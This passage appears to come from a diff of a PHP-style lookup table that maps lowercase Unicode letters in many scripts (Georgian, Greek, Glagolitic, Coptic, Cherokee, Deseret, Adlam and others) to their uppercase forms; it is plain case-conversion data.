'Ტ', - 'უ' => 'Უ', - 'ფ' => 'Ფ', - 'ქ' => 'Ქ', - 'ღ' => 'Ღ', - 'ყ' => 'Ყ', - 'შ' => 'Შ', - 'ჩ' => 'Ჩ', - 'ც' => 'Ც', - 'ძ' => 'Ძ', - 'წ' => 'Წ', - 'ჭ' => 'Ჭ', - 'ხ' => 'Ხ', - 'ჯ' => 'Ჯ', - 'ჰ' => 'Ჰ', - 'ჱ' => 'Ჱ', - 'ჲ' => 'Ჲ', - 'ჳ' => 'Ჳ', - 'ჴ' => 'Ჴ', - 'ჵ' => 'Ჵ', - 'ჶ' => 'Ჶ', - 'ჷ' => 'Ჷ', - 'ჸ' => 'Ჸ', - 'ჹ' => 'Ჹ', - 'ჺ' => 'Ჺ', - 'ჽ' => 'Ჽ', - 'ჾ' => 'Ჾ', - 'ჿ' => 'Ჿ', - 'ᏸ' => 'Ᏸ', - 'ᏹ' => 'Ᏹ', - 'ᏺ' => 'Ᏺ', - 'ᏻ' => 'Ᏻ', - 'ᏼ' => 'Ᏼ', - 'ᏽ' => 'Ᏽ', - 'ᲀ' => 'В', - 'ᲁ' => 'Д', - 'ᲂ' => 'О', - 'ᲃ' => 'С', - 'ᲄ' => 'Т', - 'ᲅ' => 'Т', - 'ᲆ' => 'Ъ', - 'ᲇ' => 'Ѣ', - 'ᲈ' => 'Ꙋ', - 'ᵹ' => 'Ᵹ', - 'ᵽ' => 'Ᵽ', - 'ᶎ' => 'Ᶎ', - 'ḁ' => 'Ḁ', - 'ḃ' => 'Ḃ', - 'ḅ' => 'Ḅ', - 'ḇ' => 'Ḇ', - 'ḉ' => 'Ḉ', - 'ḋ' => 'Ḋ', - 'ḍ' => 'Ḍ', - 'ḏ' => 'Ḏ', - 'ḑ' => 'Ḑ', - 'ḓ' => 'Ḓ', - 'ḕ' => 'Ḕ', - 'ḗ' => 'Ḗ', - 'ḙ' => 'Ḙ', - 'ḛ' => 'Ḛ', - 'ḝ' => 'Ḝ', - 'ḟ' => 'Ḟ', - 'ḡ' => 'Ḡ', - 'ḣ' => 'Ḣ', - 'ḥ' => 'Ḥ', - 'ḧ' => 'Ḧ', - 'ḩ' => 'Ḩ', - 'ḫ' => 'Ḫ', - 'ḭ' => 'Ḭ', - 'ḯ' => 'Ḯ', - 'ḱ' => 'Ḱ', - 'ḳ' => 'Ḳ', - 'ḵ' => 'Ḵ', - 'ḷ' => 'Ḷ', - 'ḹ' => 'Ḹ', - 'ḻ' => 'Ḻ', - 'ḽ' => 'Ḽ', - 'ḿ' => 'Ḿ', - 'ṁ' => 'Ṁ', - 'ṃ' => 'Ṃ', - 'ṅ' => 'Ṅ', - 'ṇ' => 'Ṇ', - 'ṉ' => 'Ṉ', - 'ṋ' => 'Ṋ', - 'ṍ' => 'Ṍ', - 'ṏ' => 'Ṏ', - 'ṑ' => 'Ṑ', - 'ṓ' => 'Ṓ', - 'ṕ' => 'Ṕ', - 'ṗ' => 'Ṗ', - 'ṙ' => 'Ṙ', - 'ṛ' => 'Ṛ', - 'ṝ' => 'Ṝ', - 'ṟ' => 'Ṟ', - 'ṡ' => 'Ṡ', - 'ṣ' => 'Ṣ', - 'ṥ' => 'Ṥ', - 'ṧ' => 'Ṧ', - 'ṩ' => 'Ṩ', - 'ṫ' => 'Ṫ', - 'ṭ' => 'Ṭ', - 'ṯ' => 'Ṯ', - 'ṱ' => 'Ṱ', - 'ṳ' => 'Ṳ', - 'ṵ' => 'Ṵ', - 'ṷ' => 'Ṷ', - 'ṹ' => 'Ṹ', - 'ṻ' => 'Ṻ', - 'ṽ' => 'Ṽ', - 'ṿ' => 'Ṿ', - 'ẁ' => 'Ẁ', - 'ẃ' => 'Ẃ', - 'ẅ' => 'Ẅ', - 'ẇ' => 'Ẇ', - 'ẉ' => 'Ẉ', - 'ẋ' => 'Ẋ', - 'ẍ' => 'Ẍ', - 'ẏ' => 'Ẏ', - 'ẑ' => 'Ẑ', - 'ẓ' => 'Ẓ', - 'ẕ' => 'Ẕ', - 'ẛ' => 'Ṡ', - 'ạ' => 'Ạ', - 'ả' => 'Ả', - 'ấ' => 'Ấ', - 'ầ' => 'Ầ', - 'ẩ' => 'Ẩ', - 'ẫ' => 'Ẫ', - 'ậ' => 'Ậ', - 'ắ' => 'Ắ', - 'ằ' => 'Ằ', - 'ẳ' => 'Ẳ', - 'ẵ' => 'Ẵ', - 'ặ' => 'Ặ', - 'ẹ' => 'Ẹ', - 'ẻ' => 'Ẻ', - 'ẽ' => 'Ẽ', - 'ế' => 'Ế', - 'ề' => 'Ề', - 'ể' => 'Ể', - 'ễ' => 'Ễ', - 'ệ' => 'Ệ', - 'ỉ' => 'Ỉ', - 'ị' => 'Ị', - 'ọ' => 'Ọ', - 'ỏ' => 'Ỏ', - 'ố' => 'Ố', - 'ồ' => 'Ồ', - 'ổ' => 'Ổ', - 'ỗ' => 'Ỗ', - 'ộ' => 'Ộ', - 'ớ' => 'Ớ', - 'ờ' => 'Ờ', - 'ở' => 'Ở', - 'ỡ' => 'Ỡ', - 'ợ' => 'Ợ', - 'ụ' => 'Ụ', - 'ủ' => 'Ủ', - 'ứ' => 'Ứ', - 'ừ' => 'Ừ', - 'ử' => 'Ử', - 'ữ' => 'Ữ', - 'ự' => 'Ự', - 'ỳ' => 'Ỳ', - 'ỵ' => 'Ỵ', - 'ỷ' => 'Ỷ', - 'ỹ' => 'Ỹ', - 'ỻ' => 'Ỻ', - 'ỽ' => 'Ỽ', - 'ỿ' => 'Ỿ', - 'ἀ' => 'Ἀ', - 'ἁ' => 'Ἁ', - 'ἂ' => 'Ἂ', - 'ἃ' => 'Ἃ', - 'ἄ' => 'Ἄ', - 'ἅ' => 'Ἅ', - 'ἆ' => 'Ἆ', - 'ἇ' => 'Ἇ', - 'ἐ' => 'Ἐ', - 'ἑ' => 'Ἑ', - 'ἒ' => 'Ἒ', - 'ἓ' => 'Ἓ', - 'ἔ' => 'Ἔ', - 'ἕ' => 'Ἕ', - 'ἠ' => 'Ἠ', - 'ἡ' => 'Ἡ', - 'ἢ' => 'Ἢ', - 'ἣ' => 'Ἣ', - 'ἤ' => 'Ἤ', - 'ἥ' => 'Ἥ', - 'ἦ' => 'Ἦ', - 'ἧ' => 'Ἧ', - 'ἰ' => 'Ἰ', - 'ἱ' => 'Ἱ', - 'ἲ' => 'Ἲ', - 'ἳ' => 'Ἳ', - 'ἴ' => 'Ἴ', - 'ἵ' => 'Ἵ', - 'ἶ' => 'Ἶ', - 'ἷ' => 'Ἷ', - 'ὀ' => 'Ὀ', - 'ὁ' => 'Ὁ', - 'ὂ' => 'Ὂ', - 'ὃ' => 'Ὃ', - 'ὄ' => 'Ὄ', - 'ὅ' => 'Ὅ', - 'ὑ' => 'Ὑ', - 'ὓ' => 'Ὓ', - 'ὕ' => 'Ὕ', - 'ὗ' => 'Ὗ', - 'ὠ' => 'Ὠ', - 'ὡ' => 'Ὡ', - 'ὢ' => 'Ὢ', - 'ὣ' => 'Ὣ', - 'ὤ' => 'Ὤ', - 'ὥ' => 'Ὥ', - 'ὦ' => 'Ὦ', - 'ὧ' => 'Ὧ', - 'ὰ' => 'Ὰ', - 'ά' => 'Ά', - 'ὲ' => 'Ὲ', - 'έ' => 'Έ', - 'ὴ' => 'Ὴ', - 'ή' => 'Ή', - 'ὶ' => 'Ὶ', - 'ί' => 'Ί', - 'ὸ' => 'Ὸ', - 'ό' => 'Ό', - 'ὺ' => 'Ὺ', - 'ύ' => 'Ύ', - 'ὼ' => 'Ὼ', - 'ώ' => 'Ώ', - 'ᾀ' => 'ᾈ', - 'ᾁ' => 'ᾉ', - 'ᾂ' => 'ᾊ', - 'ᾃ' => 'ᾋ', - 'ᾄ' => 'ᾌ', - 'ᾅ' => 'ᾍ', - 'ᾆ' => 'ᾎ', - 'ᾇ' => 'ᾏ', - 'ᾐ' => 'ᾘ', - 'ᾑ' => 'ᾙ', - 'ᾒ' => 'ᾚ', - 'ᾓ' => 'ᾛ', - 'ᾔ' => 'ᾜ', - 'ᾕ' => 'ᾝ', - 'ᾖ' => 'ᾞ', - 'ᾗ' => 'ᾟ', - 'ᾠ' => 'ᾨ', - 'ᾡ' => 'ᾩ', - 'ᾢ' => 'ᾪ', - 'ᾣ' => 'ᾫ', - 'ᾤ' => 'ᾬ', - 'ᾥ' => 'ᾭ', - 'ᾦ' => 'ᾮ', - 'ᾧ' => 'ᾯ', - 'ᾰ' => 'Ᾰ', - 'ᾱ' => 'Ᾱ', - 'ᾳ' => 'ᾼ', - 'ι' => 'Ι', - 'ῃ' => 'ῌ', - 'ῐ' => 'Ῐ', - 'ῑ' => 'Ῑ', - 'ῠ' => 'Ῠ', - 'ῡ' => 'Ῡ', - 'ῥ' => 'Ῥ', - 'ῳ' => 'ῼ', - 'ⅎ' => 'Ⅎ', - 'ⅰ' => 'Ⅰ', - 'ⅱ' => 'Ⅱ', - 'ⅲ' => 'Ⅲ', - 'ⅳ' => 'Ⅳ', - 'ⅴ' => 'Ⅴ', - 'ⅵ' => 'Ⅵ', - 'ⅶ' => 'Ⅶ', - 'ⅷ' => 'Ⅷ', - 'ⅸ' => 'Ⅸ', - 'ⅹ' => 'Ⅹ', - 'ⅺ' => 'Ⅺ', - 'ⅻ' => 'Ⅻ', - 'ⅼ' => 'Ⅼ', - 'ⅽ' => 'Ⅽ', - 'ⅾ' => 'Ⅾ', - 'ⅿ' => 'Ⅿ', - 'ↄ' => 'Ↄ', - 'ⓐ' => 'Ⓐ', - 'ⓑ' => 'Ⓑ', - 'ⓒ' => 'Ⓒ', - 'ⓓ' => 'Ⓓ', - 'ⓔ' => 'Ⓔ', - 'ⓕ' => 'Ⓕ', - 'ⓖ' => 'Ⓖ', - 'ⓗ' => 'Ⓗ', - 'ⓘ' => 'Ⓘ', - 'ⓙ' => 'Ⓙ', - 'ⓚ' => 'Ⓚ', - 'ⓛ' => 'Ⓛ', - 'ⓜ' => 'Ⓜ', - 'ⓝ' => 'Ⓝ', - 'ⓞ' => 'Ⓞ', - 'ⓟ' => 'Ⓟ', - 'ⓠ' => 'Ⓠ', - 'ⓡ' => 'Ⓡ', - 'ⓢ' => 'Ⓢ', - 'ⓣ' => 'Ⓣ', - 'ⓤ' => 'Ⓤ', - 'ⓥ' => 'Ⓥ', - 'ⓦ' => 'Ⓦ', - 'ⓧ' => 'Ⓧ', - 'ⓨ' => 'Ⓨ', - 'ⓩ' => 'Ⓩ', - 'ⰰ' => 'Ⰰ', - 'ⰱ' => 'Ⰱ', - 'ⰲ' => 'Ⰲ', - 'ⰳ' => 'Ⰳ', - 'ⰴ' => 'Ⰴ', - 'ⰵ' => 'Ⰵ', - 'ⰶ' => 'Ⰶ', - 'ⰷ' => 'Ⰷ', - 'ⰸ' => 'Ⰸ', - 'ⰹ' => 'Ⰹ', - 'ⰺ' => 'Ⰺ', - 'ⰻ' => 'Ⰻ', - 'ⰼ' => 'Ⰼ', - 'ⰽ' => 'Ⰽ', - 'ⰾ' => 'Ⰾ', - 'ⰿ' => 'Ⰿ', - 'ⱀ' => 'Ⱀ', - 'ⱁ' => 'Ⱁ', - 'ⱂ' => 'Ⱂ', - 'ⱃ' => 'Ⱃ', - 'ⱄ' => 'Ⱄ', - 'ⱅ' => 'Ⱅ', - 'ⱆ' => 'Ⱆ', - 'ⱇ' => 'Ⱇ', - 'ⱈ' => 'Ⱈ', - 'ⱉ' => 'Ⱉ', - 'ⱊ' => 'Ⱊ', - 'ⱋ' => 'Ⱋ', - 'ⱌ' => 'Ⱌ', - 'ⱍ' => 'Ⱍ', - 'ⱎ' => 'Ⱎ', - 'ⱏ' => 'Ⱏ', - 'ⱐ' => 'Ⱐ', - 'ⱑ' => 'Ⱑ', - 'ⱒ' => 'Ⱒ', - 'ⱓ' => 'Ⱓ', - 'ⱔ' => 'Ⱔ', - 'ⱕ' => 'Ⱕ', - 'ⱖ' => 'Ⱖ', - 'ⱗ' => 'Ⱗ', - 'ⱘ' => 'Ⱘ', - 'ⱙ' => 'Ⱙ', - 'ⱚ' => 'Ⱚ', - 'ⱛ' => 'Ⱛ', - 'ⱜ' => 'Ⱜ', - 'ⱝ' => 'Ⱝ', - 'ⱞ' => 'Ⱞ', - 'ⱡ' => 'Ⱡ', - 'ⱥ' => 'Ⱥ', - 'ⱦ' => 'Ⱦ', - 'ⱨ' => 'Ⱨ', - 'ⱪ' => 'Ⱪ', - 'ⱬ' => 'Ⱬ', - 'ⱳ' => 'Ⱳ', - 'ⱶ' => 'Ⱶ', - 'ⲁ' => 'Ⲁ', - 'ⲃ' => 'Ⲃ', - 'ⲅ' => 'Ⲅ', - 'ⲇ' => 'Ⲇ', - 'ⲉ' => 'Ⲉ', - 'ⲋ' => 'Ⲋ', - 'ⲍ' => 'Ⲍ', - 'ⲏ' => 'Ⲏ', - 'ⲑ' => 'Ⲑ', - 'ⲓ' => 'Ⲓ', - 'ⲕ' => 'Ⲕ', - 'ⲗ' => 'Ⲗ', - 'ⲙ' => 'Ⲙ', - 'ⲛ' => 'Ⲛ', - 'ⲝ' => 'Ⲝ', - 'ⲟ' => 'Ⲟ', - 'ⲡ' => 'Ⲡ', - 'ⲣ' => 'Ⲣ', - 'ⲥ' => 'Ⲥ', - 'ⲧ' => 'Ⲧ', - 'ⲩ' => 'Ⲩ', - 'ⲫ' => 'Ⲫ', - 'ⲭ' => 'Ⲭ', - 'ⲯ' => 'Ⲯ', - 'ⲱ' => 'Ⲱ', - 'ⲳ' => 'Ⲳ', - 'ⲵ' => 'Ⲵ', - 'ⲷ' => 'Ⲷ', - 'ⲹ' => 'Ⲹ', - 'ⲻ' => 'Ⲻ', - 'ⲽ' => 'Ⲽ', - 'ⲿ' => 'Ⲿ', - 'ⳁ' => 'Ⳁ', - 'ⳃ' => 'Ⳃ', - 'ⳅ' => 'Ⳅ', - 'ⳇ' => 'Ⳇ', - 'ⳉ' => 'Ⳉ', - 'ⳋ' => 'Ⳋ', - 'ⳍ' => 'Ⳍ', - 'ⳏ' => 'Ⳏ', - 'ⳑ' => 'Ⳑ', - 'ⳓ' => 'Ⳓ', - 'ⳕ' => 'Ⳕ', - 'ⳗ' => 'Ⳗ', - 'ⳙ' => 'Ⳙ', - 'ⳛ' => 'Ⳛ', - 'ⳝ' => 'Ⳝ', - 'ⳟ' => 'Ⳟ', - 'ⳡ' => 'Ⳡ', - 'ⳣ' => 'Ⳣ', - 'ⳬ' => 'Ⳬ', - 'ⳮ' => 'Ⳮ', - 'ⳳ' => 'Ⳳ', - 'ⴀ' => 'Ⴀ', - 'ⴁ' => 'Ⴁ', - 'ⴂ' => 'Ⴂ', - 'ⴃ' => 'Ⴃ', - 'ⴄ' => 'Ⴄ', - 'ⴅ' => 'Ⴅ', - 'ⴆ' => 'Ⴆ', - 'ⴇ' => 'Ⴇ', - 'ⴈ' => 'Ⴈ', - 'ⴉ' => 'Ⴉ', - 'ⴊ' => 'Ⴊ', - 'ⴋ' => 'Ⴋ', - 'ⴌ' => 'Ⴌ', - 'ⴍ' => 'Ⴍ', - 'ⴎ' => 'Ⴎ', - 'ⴏ' => 'Ⴏ', - 'ⴐ' => 'Ⴐ', - 'ⴑ' => 'Ⴑ', - 'ⴒ' => 'Ⴒ', - 'ⴓ' => 'Ⴓ', - 'ⴔ' => 'Ⴔ', - 'ⴕ' => 'Ⴕ', - 'ⴖ' => 'Ⴖ', - 'ⴗ' => 'Ⴗ', - 'ⴘ' => 'Ⴘ', - 'ⴙ' => 'Ⴙ', - 'ⴚ' => 'Ⴚ', - 'ⴛ' => 'Ⴛ', - 'ⴜ' => 'Ⴜ', - 'ⴝ' => 'Ⴝ', - 'ⴞ' => 'Ⴞ', - 'ⴟ' => 'Ⴟ', - 'ⴠ' => 'Ⴠ', - 'ⴡ' => 'Ⴡ', - 'ⴢ' => 'Ⴢ', - 'ⴣ' => 'Ⴣ', - 'ⴤ' => 'Ⴤ', - 'ⴥ' => 'Ⴥ', - 'ⴧ' => 'Ⴧ', - 'ⴭ' => 'Ⴭ', - 'ꙁ' => 'Ꙁ', - 'ꙃ' => 'Ꙃ', - 'ꙅ' => 'Ꙅ', - 'ꙇ' => 'Ꙇ', - 'ꙉ' => 'Ꙉ', - 'ꙋ' => 'Ꙋ', - 'ꙍ' => 'Ꙍ', - 'ꙏ' => 'Ꙏ', - 'ꙑ' => 'Ꙑ', - 'ꙓ' => 'Ꙓ', - 'ꙕ' => 'Ꙕ', - 'ꙗ' => 'Ꙗ', - 'ꙙ' => 'Ꙙ', - 'ꙛ' => 'Ꙛ', - 'ꙝ' => 'Ꙝ', - 'ꙟ' => 'Ꙟ', - 'ꙡ' => 'Ꙡ', - 'ꙣ' => 'Ꙣ', - 'ꙥ' => 'Ꙥ', - 'ꙧ' => 'Ꙧ', - 'ꙩ' => 'Ꙩ', - 'ꙫ' => 'Ꙫ', - 'ꙭ' => 'Ꙭ', - 'ꚁ' => 'Ꚁ', - 'ꚃ' => 'Ꚃ', - 'ꚅ' => 'Ꚅ', - 'ꚇ' => 'Ꚇ', - 'ꚉ' => 'Ꚉ', - 'ꚋ' => 'Ꚋ', - 'ꚍ' => 'Ꚍ', - 'ꚏ' => 'Ꚏ', - 'ꚑ' => 'Ꚑ', - 'ꚓ' => 'Ꚓ', - 'ꚕ' => 'Ꚕ', - 'ꚗ' => 'Ꚗ', - 'ꚙ' => 'Ꚙ', - 'ꚛ' => 'Ꚛ', - 'ꜣ' => 'Ꜣ', - 'ꜥ' => 'Ꜥ', - 'ꜧ' => 'Ꜧ', - 'ꜩ' => 'Ꜩ', - 'ꜫ' => 'Ꜫ', - 'ꜭ' => 'Ꜭ', - 'ꜯ' => 'Ꜯ', - 'ꜳ' => 'Ꜳ', - 'ꜵ' => 'Ꜵ', - 'ꜷ' => 'Ꜷ', - 'ꜹ' => 'Ꜹ', - 'ꜻ' => 'Ꜻ', - 'ꜽ' => 'Ꜽ', - 'ꜿ' => 'Ꜿ', - 'ꝁ' => 'Ꝁ', - 'ꝃ' => 'Ꝃ', - 'ꝅ' => 'Ꝅ', - 'ꝇ' => 'Ꝇ', - 'ꝉ' => 'Ꝉ', - 'ꝋ' => 'Ꝋ', - 'ꝍ' => 'Ꝍ', - 'ꝏ' => 'Ꝏ', - 'ꝑ' => 'Ꝑ', - 'ꝓ' => 'Ꝓ', - 'ꝕ' => 'Ꝕ', - 'ꝗ' => 'Ꝗ', - 'ꝙ' => 'Ꝙ', - 'ꝛ' => 'Ꝛ', - 'ꝝ' => 'Ꝝ', - 'ꝟ' => 'Ꝟ', - 'ꝡ' => 'Ꝡ', - 'ꝣ' => 'Ꝣ', - 'ꝥ' => 'Ꝥ', - 'ꝧ' => 'Ꝧ', - 'ꝩ' => 'Ꝩ', - 'ꝫ' => 'Ꝫ', - 'ꝭ' => 'Ꝭ', - 'ꝯ' => 'Ꝯ', - 'ꝺ' => 'Ꝺ', - 'ꝼ' => 'Ꝼ', - 'ꝿ' => 'Ꝿ', - 'ꞁ' => 'Ꞁ', - 'ꞃ' => 'Ꞃ', - 'ꞅ' => 'Ꞅ', - 'ꞇ' => 'Ꞇ', - 'ꞌ' => 'Ꞌ', - 'ꞑ' => 'Ꞑ', - 'ꞓ' => 'Ꞓ', - 'ꞔ' => 'Ꞔ', - 'ꞗ' => 'Ꞗ', - 'ꞙ' => 'Ꞙ', - 'ꞛ' => 'Ꞛ', - 'ꞝ' => 'Ꞝ', - 'ꞟ' => 'Ꞟ', - 'ꞡ' => 'Ꞡ', - 'ꞣ' => 'Ꞣ', - 'ꞥ' => 'Ꞥ', - 'ꞧ' => 'Ꞧ', - 'ꞩ' => 'Ꞩ', - 'ꞵ' => 'Ꞵ', - 'ꞷ' => 'Ꞷ', - 'ꞹ' => 'Ꞹ', - 'ꞻ' => 'Ꞻ', - 'ꞽ' => 'Ꞽ', - 'ꞿ' => 'Ꞿ', - 'ꟃ' => 'Ꟃ', - 'ꟈ' => 'Ꟈ', - 'ꟊ' => 'Ꟊ', - 'ꟶ' => 'Ꟶ', - 'ꭓ' => 'Ꭓ', - 'ꭰ' => 'Ꭰ', - 'ꭱ' => 'Ꭱ', - 'ꭲ' => 'Ꭲ', - 'ꭳ' => 'Ꭳ', - 'ꭴ' => 'Ꭴ', - 'ꭵ' => 'Ꭵ', - 'ꭶ' => 'Ꭶ', - 'ꭷ' => 'Ꭷ', - 'ꭸ' => 'Ꭸ', - 'ꭹ' => 'Ꭹ', - 'ꭺ' => 'Ꭺ', - 'ꭻ' => 'Ꭻ', - 'ꭼ' => 'Ꭼ', - 'ꭽ' => 'Ꭽ', - 'ꭾ' => 'Ꭾ', - 'ꭿ' => 'Ꭿ', - 'ꮀ' => 'Ꮀ', - 'ꮁ' => 'Ꮁ', - 'ꮂ' => 'Ꮂ', - 'ꮃ' => 'Ꮃ', - 'ꮄ' => 'Ꮄ', - 'ꮅ' => 'Ꮅ', - 'ꮆ' => 'Ꮆ', - 'ꮇ' => 'Ꮇ', - 'ꮈ' => 'Ꮈ', - 'ꮉ' => 'Ꮉ', - 'ꮊ' => 'Ꮊ', - 'ꮋ' => 'Ꮋ', - 'ꮌ' => 'Ꮌ', - 'ꮍ' => 'Ꮍ', - 'ꮎ' => 'Ꮎ', - 'ꮏ' => 'Ꮏ', - 'ꮐ' => 'Ꮐ', - 'ꮑ' => 'Ꮑ', - 'ꮒ' => 'Ꮒ', - 'ꮓ' => 'Ꮓ', - 'ꮔ' => 'Ꮔ', - 'ꮕ' => 'Ꮕ', - 'ꮖ' => 'Ꮖ', - 'ꮗ' => 'Ꮗ', - 'ꮘ' => 'Ꮘ', - 'ꮙ' => 'Ꮙ', - 'ꮚ' => 'Ꮚ', - 'ꮛ' => 'Ꮛ', - 'ꮜ' => 'Ꮜ', - 'ꮝ' => 'Ꮝ', - 'ꮞ' => 'Ꮞ', - 'ꮟ' => 'Ꮟ', - 'ꮠ' => 'Ꮠ', - 'ꮡ' => 'Ꮡ', - 'ꮢ' => 'Ꮢ', - 'ꮣ' => 'Ꮣ', - 'ꮤ' => 'Ꮤ', - 'ꮥ' => 'Ꮥ', - 'ꮦ' => 'Ꮦ', - 'ꮧ' => 'Ꮧ', - 'ꮨ' => 'Ꮨ', - 'ꮩ' => 'Ꮩ', - 'ꮪ' => 'Ꮪ', - 'ꮫ' => 'Ꮫ', - 'ꮬ' => 'Ꮬ', - 'ꮭ' => 'Ꮭ', - 'ꮮ' => 'Ꮮ', - 'ꮯ' => 'Ꮯ', - 'ꮰ' => 'Ꮰ', - 'ꮱ' => 'Ꮱ', - 'ꮲ' => 'Ꮲ', - 'ꮳ' => 'Ꮳ', - 'ꮴ' => 'Ꮴ', - 'ꮵ' => 'Ꮵ', - 'ꮶ' => 'Ꮶ', - 'ꮷ' => 'Ꮷ', - 'ꮸ' => 'Ꮸ', - 'ꮹ' => 'Ꮹ', - 'ꮺ' => 'Ꮺ', - 'ꮻ' => 'Ꮻ', - 'ꮼ' => 'Ꮼ', - 'ꮽ' => 'Ꮽ', - 'ꮾ' => 'Ꮾ', - 'ꮿ' => 'Ꮿ', - 'a' => 'A', - 'b' => 'B', - 'c' => 'C', - 'd' => 'D', - 'e' => 'E', - 'f' => 'F', - 'g' => 'G', - 'h' => 'H', - 'i' => 'I', - 'j' => 'J', - 'k' => 'K', - 'l' => 'L', - 'm' => 'M', - 'n' => 'N', - 'o' => 'O', - 'p' => 'P', - 'q' => 'Q', - 'r' => 'R', - 's' => 'S', - 't' => 'T', - 'u' => 'U', - 'v' => 'V', - 'w' => 'W', - 'x' => 'X', - 'y' => 'Y', - 'z' => 'Z', - '𐐨' => '𐐀', - '𐐩' => '𐐁', - '𐐪' => '𐐂', - '𐐫' => '𐐃', - '𐐬' => '𐐄', - '𐐭' => '𐐅', - '𐐮' => '𐐆', - '𐐯' => '𐐇', - '𐐰' => '𐐈', - '𐐱' => '𐐉', - '𐐲' => '𐐊', - '𐐳' => '𐐋', - '𐐴' => '𐐌', - '𐐵' => '𐐍', - '𐐶' => '𐐎', - '𐐷' => '𐐏', - '𐐸' => '𐐐', - '𐐹' => '𐐑', - '𐐺' => '𐐒', - '𐐻' => '𐐓', - '𐐼' => '𐐔', - '𐐽' => '𐐕', - '𐐾' => '𐐖', - '𐐿' => '𐐗', - '𐑀' => '𐐘', - '𐑁' => '𐐙', - '𐑂' => '𐐚', - '𐑃' => '𐐛', - '𐑄' => '𐐜', - '𐑅' => '𐐝', - '𐑆' => '𐐞', - '𐑇' => '𐐟', - '𐑈' => '𐐠', - '𐑉' => '𐐡', - '𐑊' => '𐐢', - '𐑋' => '𐐣', - '𐑌' => '𐐤', - '𐑍' => '𐐥', - '𐑎' => '𐐦', - '𐑏' => '𐐧', - '𐓘' => '𐒰', - '𐓙' => '𐒱', - '𐓚' => '𐒲', - '𐓛' => '𐒳', - '𐓜' => '𐒴', - '𐓝' => '𐒵', - '𐓞' => '𐒶', - '𐓟' => '𐒷', - '𐓠' => '𐒸', - '𐓡' => '𐒹', - '𐓢' => '𐒺', - '𐓣' => '𐒻', - '𐓤' => '𐒼', - '𐓥' => '𐒽', - '𐓦' => '𐒾', - '𐓧' => '𐒿', - '𐓨' => '𐓀', - '𐓩' => '𐓁', - '𐓪' => '𐓂', - '𐓫' => '𐓃', - '𐓬' => '𐓄', - '𐓭' => '𐓅', - '𐓮' => '𐓆', - '𐓯' => '𐓇', - '𐓰' => '𐓈', - '𐓱' => '𐓉', - '𐓲' => '𐓊', - '𐓳' => '𐓋', - '𐓴' => '𐓌', - '𐓵' => '𐓍', - '𐓶' => '𐓎', - '𐓷' => '𐓏', - '𐓸' => '𐓐', - '𐓹' => '𐓑', - '𐓺' => '𐓒', - '𐓻' => '𐓓', - '𐳀' => '𐲀', - '𐳁' => '𐲁', - '𐳂' => '𐲂', - '𐳃' => '𐲃', - '𐳄' => '𐲄', - '𐳅' => '𐲅', - '𐳆' => '𐲆', - '𐳇' => '𐲇', - '𐳈' => '𐲈', - '𐳉' => '𐲉', - '𐳊' => '𐲊', - '𐳋' => '𐲋', - '𐳌' => '𐲌', - '𐳍' => '𐲍', - '𐳎' => '𐲎', - '𐳏' => '𐲏', - '𐳐' => '𐲐', - '𐳑' => '𐲑', - '𐳒' => '𐲒', - '𐳓' => '𐲓', - '𐳔' => '𐲔', - '𐳕' => '𐲕', - '𐳖' => '𐲖', - '𐳗' => '𐲗', - '𐳘' => '𐲘', - '𐳙' => '𐲙', - '𐳚' => '𐲚', - '𐳛' => '𐲛', - '𐳜' => '𐲜', - '𐳝' => '𐲝', - '𐳞' => '𐲞', - '𐳟' => '𐲟', - '𐳠' => '𐲠', - '𐳡' => '𐲡', - '𐳢' => '𐲢', - '𐳣' => '𐲣', - '𐳤' => '𐲤', - '𐳥' => '𐲥', - '𐳦' => '𐲦', - '𐳧' => '𐲧', - '𐳨' => '𐲨', - '𐳩' => '𐲩', - '𐳪' => '𐲪', - '𐳫' => '𐲫', - '𐳬' => '𐲬', - '𐳭' => '𐲭', - '𐳮' => '𐲮', - '𐳯' => '𐲯', - '𐳰' => '𐲰', - '𐳱' => '𐲱', - '𐳲' => '𐲲', - '𑣀' => '𑢠', - '𑣁' => '𑢡', - '𑣂' => '𑢢', - '𑣃' => '𑢣', - '𑣄' => '𑢤', - '𑣅' => '𑢥', - '𑣆' => '𑢦', - '𑣇' => '𑢧', - '𑣈' => '𑢨', - '𑣉' => '𑢩', - '𑣊' => '𑢪', - '𑣋' => '𑢫', - '𑣌' => '𑢬', - '𑣍' => '𑢭', - '𑣎' => '𑢮', - '𑣏' => '𑢯', - '𑣐' => '𑢰', - '𑣑' => '𑢱', - '𑣒' => '𑢲', - '𑣓' => '𑢳', - '𑣔' => '𑢴', - '𑣕' => '𑢵', - '𑣖' => '𑢶', - '𑣗' => '𑢷', - '𑣘' => '𑢸', - '𑣙' => '𑢹', - '𑣚' => '𑢺', - '𑣛' => '𑢻', - '𑣜' => '𑢼', - '𑣝' => '𑢽', - '𑣞' => '𑢾', - '𑣟' => '𑢿', - '𖹠' => '𖹀', - '𖹡' => '𖹁', - '𖹢' => '𖹂', - '𖹣' => '𖹃', - '𖹤' => '𖹄', - '𖹥' => '𖹅', - '𖹦' => '𖹆', - '𖹧' => '𖹇', - '𖹨' => '𖹈', - '𖹩' => '𖹉', - '𖹪' => '𖹊', - '𖹫' => '𖹋', - '𖹬' => '𖹌', - '𖹭' => '𖹍', - '𖹮' => '𖹎', - '𖹯' => '𖹏', - '𖹰' => '𖹐', - '𖹱' => '𖹑', - '𖹲' => '𖹒', - '𖹳' => '𖹓', - '𖹴' => '𖹔', - '𖹵' => '𖹕', - '𖹶' => '𖹖', - '𖹷' => '𖹗', - '𖹸' => '𖹘', - '𖹹' => '𖹙', - '𖹺' => '𖹚', - '𖹻' => '𖹛', - '𖹼' => '𖹜', - '𖹽' => '𖹝', - '𖹾' => '𖹞', - '𖹿' => '𖹟', - '𞤢' => '𞤀', - '𞤣' => '𞤁', - '𞤤' => '𞤂', - '𞤥' => '𞤃', - '𞤦' => '𞤄', - '𞤧' => '𞤅', - '𞤨' => '𞤆', - '𞤩' => '𞤇', - '𞤪' => '𞤈', - '𞤫' => '𞤉', - '𞤬' => '𞤊', - '𞤭' => '𞤋', - '𞤮' => '𞤌', - '𞤯' => '𞤍', - '𞤰' => '𞤎', - '𞤱' => '𞤏', - '𞤲' => '𞤐', - '𞤳' => '𞤑', - '𞤴' => '𞤒', - '𞤵' => '𞤓', - '𞤶' => '𞤔', - '𞤷' => '𞤕', - '𞤸' => '𞤖', - '𞤹' => '𞤗', - '𞤺' => '𞤘', - '𞤻' => '𞤙', - '𞤼' => '𞤚', - '𞤽' => '𞤛', - '𞤾' => '𞤜', - '𞤿' => '𞤝', - '𞥀' => '𞤞', - 